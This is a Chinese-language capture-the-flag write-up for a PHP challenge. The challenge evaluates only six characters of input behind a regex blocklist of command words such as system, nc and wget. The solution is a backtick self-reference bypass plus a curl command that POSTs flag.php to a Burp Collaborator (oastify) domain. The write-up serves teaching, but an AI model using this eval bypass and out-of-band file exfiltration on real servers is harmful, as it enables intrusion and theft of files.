PS:萌新ctfer的解题过程,如有错误之处恳请师傅们指正
(做这道题时需要配备BurpSuite专业版,可自行查阅相关资料进行配置,这里我找了两个链接1、链接2)
一:前置知识
做这道题时我们需要用到BurpSuite专业版里的Collaborator模块,这是 Burp Suite 中用于检测带外交互漏洞【OBB】(参考)的核心工具,主要通过生成唯一的外部交互地址,捕捉目标服务器与外部系统的交互行为,从而验证那些无直接回显的漏洞,是渗透测试和 CTF 中检测盲漏洞的关键工具。
核心功能与作用原理
Collaborator 的核心是搭建外部交互桥梁:它会生成一个唯一的二级域名(如xxxx.burpcollaborator.net),我们将这个地址插入到测试的 Payload 中发送给目标服务器。如果目标服务器存在漏洞并执行了 Payload,就会主动访问这个外部域名,Collaborator Client 会捕获到这次交互并记录详细信息,以此证明漏洞存在。
二:具体题目
1.初步判断
打开靶场,有一下php代码:
error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ //GET方式传入F if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ //这里要绕过正则匹配 eval(substr($F,0,6)); //从0开始截断F的字符到6位置,就是F只读取前六个字符 }else{ die("6个字母都还不够呀?!"); } }这里我们发现一个问题:F只能传入六个字符,那么我们构造不出什么命令可以让之后的eval执行,我没见过这种题,所以网上找了别的师傅的WP用的是$F【相当于F本身】:
- 反引号 ``:在 PHP 中,反引号包裹的内容会被当作系统命令执行,等价于
shell_exec()函数(而shell_exec没有被过滤,这是绕过的关键)。 $F变量:这里的$F是 GET 传入的整个F参数的内容,PHP 会先解析变量$F,再执行反引号中的命令。- 分号
;:是 PHP 的语句结束符,确保前 6 个字符构成完整的 PHP 语句
因此,我们的payload格式应该是这样的:
?F=`$F`; XXXXXXXXXXXXXXXXXXXXX2.具体构造
这里就要用到我们之前讲的Collaborator了,我们打开BurpSuite的Collaborator模块,可以看到是这样的:
这里的payloads to generate 就是生成我们的Collaborator 带外交互平台的临时域名数量,这里我们选择一个就好,然后我们点击copy to clipboard【这里点了之后就是直接复制到剪贴版了,刚用的时候英文不太好不知道啥意思,以为是在下面显示所以按了好久没按出来】
下面是我复制的临时域名:ffywo4qho06y82ab885yvruocfi76zuo.oastify.com
这里先给出我们的payload再一一解释:
?F=`$F`;+curl -X POST -F xx=@flag.php http://ffywo4qho06y82ab885yvruocfi76zuo.oastify.com1)总体结构
首先,这里最开始的?F=`$F`;就是我们上传的F参数,后面的所有都是F里面的内容
2)curl 命令
curl是一个命令行工具/库,用来向服务器发送或接收数据,支持多种协议(HTTP、HTTPS、FTP、SFTP 等)。
这个curl命令是将本地的 flag.php 文件上传到外部的oastify.com协作服务器(也就是我们之前的 Burp Collaborator 类似的带外交互平台),从而实现 flag 的外带:
-X POST:使用 POST 请求方式。-F xx=@flag.php:构造表单上传,把本地的flag.php文件作为xx字段的值上传到目标地址。
(有时候ai回答一些基本的问题还是很可以的,用好了也是一大助力。这里的xx表单字段是自定义的,可以换成别的如file data等等)
- ffywo4qho06y82ab885yvruocfi76zuo.oastify.com:是 oastify 的临时域名,用于接收上传的文件内容,我们可以在 oastify 的后台查看这个请求,从而获取
flag.php的内容。
3.flag获取
我们直接将这个payload写在url里面回车上传,然后再回到BP查看【我喜欢点一下Poll now】
找到HTTP,发现flag:
三:结语
我们可以再回顾一下总体流程加深一下印象:
生成Collaborator域名 在Burp Suite专业版中打开Collaborator模块,生成临时域名用于接收数据。
构造完整Payload 将curl命令拼接到基础Payload
发送请求 将构造好的URL提交到目标服务器。
查看回传数据 在Collaborator界面点击"Poll now",查看HTTP请求中携带的flag.php文件内容。
还有相应的注意事项:
- 确保Burp Suite Collaborator配置正确,能接收外部请求
- curl命令中的临时域名需替换为实际生成的Collaborator域名
- 表单字段名称可自定义,但需保持前后一致
- 目标环境需允许出站连接
通过这种方法可以突破长度限制,实现命令执行并获取flag内容。
写在最后:
这道题我也是第一次用到Collaborator模块,又学到了一个新知识【ヽ(✿゚▽゚)ノ】其实在最开始描述带外交互漏洞后面的参考链接里有提到诸如SSRF、XXE都用到了这种方法。而常用的工具有:
大菜鸡师傅录制的视频就是用的DNSlog,但我觉得BP的Collaborator功能更强大一点,算是各有所好吧。